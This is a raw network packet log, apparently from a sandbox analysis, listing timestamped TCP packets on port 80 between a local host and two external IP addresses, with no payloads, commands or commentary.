Sep 11, 2024 16:22:18.859960079 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859973907 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.859978914 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.859978914 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.860011101 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860018969 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860018969 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.860018969 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.860034943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860043049 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860058069 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860093117 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.860093117 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.860116959 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860125065 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860138893 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860146999 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860161066 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860162020 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.860162020 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.860184908 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.860270023 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.860279083 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860286951 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860294104 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860301018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860315084 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860322952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860323906 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.860331059 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860338926 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860353947 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860361099 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860378027 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.860378027 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.860383034 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860388994 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860404015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860410929 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860543013 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.860543013 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.860569954 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860578060 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860590935 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860599041 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860621929 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860629082 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860642910 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860650063 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860662937 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860670090 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860692024 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860699892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860707998 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860713005 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860719919 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860734940 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860743046 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860757113 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860764980 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860779047 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860788107 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860929012 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860935926 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860949993 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860956907 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860964060 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860976934 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860985041 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860991955 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.860999107 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861016989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861023903 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861037970 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861044884 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861052990 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861063004 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861085892 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861093998 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861100912 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861103058 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861103058 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861109018 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861116886 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861131907 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861170053 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861170053 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861200094 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861207962 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861222029 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861228943 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861243963 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861252069 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861270905 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861270905 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861273050 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861282110 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861289978 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861320972 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861321926 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861412048 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861419916 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861433983 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861442089 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861449957 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861464024 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861470938 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861474037 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861474037 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861479044 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861489058 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861534119 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861534119 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861550093 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861557961 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861572027 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861578941 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861593008 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861599922 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861607075 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861613035 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861613035 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861613989 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861624956 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861654997 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861654997 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861730099 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861787081 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861794949 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861809015 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861815929 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861830950 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861840010 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861855030 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861862898 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861865044 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861865044 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861865044 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861871958 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861887932 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861893892 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861896038 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861912966 CEST	80	49734	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.861944914 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.861944914 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.862678051 CEST	49734	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866023064 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866040945 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866063118 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866070032 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866086960 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866095066 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866110086 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866122961 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866144896 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866148949 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866157055 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866163015 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866164923 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866173029 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866195917 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866213083 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866215944 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866219997 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866235018 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866242886 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866256952 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866259098 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866282940 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866306067 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866317987 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866326094 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866339922 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866358042 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866364956 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866367102 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866373062 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866381884 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866393089 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866410017 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866425991 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866487980 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866494894 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866509914 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866518021 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866533041 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866537094 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866539955 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866564989 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866580009 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866755962 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866764069 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866779089 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866811991 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866818905 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866818905 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866832018 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866833925 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866842985 CEST	80	49735	147.45.44.104	192.168.2.4
Sep 11, 2024 16:22:18.866864920 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.866892099 CEST	49735	80	192.168.2.4	147.45.44.104
Sep 11, 2024 16:22:18.867772102 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.867779016 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.867794037 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.867809057 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.867822886 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.867830992 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.867845058 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.867850065 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.867852926 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.867868900 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.867876053 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.867877007 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.867893934 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.867897987 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.867904902 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.867913008 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.867917061 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.867922068 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.867943048 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.868123055 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.868148088 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.868204117 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.909621954 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.909631014 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.909646034 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.909683943 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.909812927 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.909813881 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.909823895 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.909838915 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.909847021 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.909890890 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.909925938 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.909934044 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.909948111 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.909955978 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.909960032 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.909985065 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910021067 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910027981 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910042048 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910046101 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910075903 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910166979 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910202980 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910209894 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910224915 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910260916 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910300970 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910310030 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910316944 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910324097 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910331964 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910350084 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910350084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910357952 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910382986 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910423040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910429001 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910437107 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910440922 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910444975 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910459042 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910463095 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910485983 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910554886 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910576105 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910583973 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910598040 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910603046 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910618067 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910620928 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910650969 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910651922 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910660982 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910667896 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910675049 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910680056 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910682917 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910703897 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910702944 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910713911 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.910731077 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.910763979 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911067009 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911075115 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911098003 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911106110 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911114931 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911122084 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911130905 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911130905 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911149025 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911179066 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911262989 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911269903 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911277056 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911284924 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911300898 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911308050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911322117 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911326885 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911353111 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911401033 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911421061 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911428928 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911442995 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911478043 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911513090 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911520958 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911521912 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911536932 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911555052 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911566019 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911572933 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911581039 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911595106 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911596060 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911607027 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911622047 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911623955 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911650896 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911694050 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911703110 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911711931 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911716938 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.911742926 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911763906 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.911928892 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912033081 CEST	49736	80	192.168.2.4	176.113.115.33
Sep 11, 2024 16:22:18.912049055 CEST	80	49736	176.113.115.33	192.168.2.4
Sep 11, 2024 16:22:18.912055016 CEST	80	49736	176.113.115.33	192.168.2.4
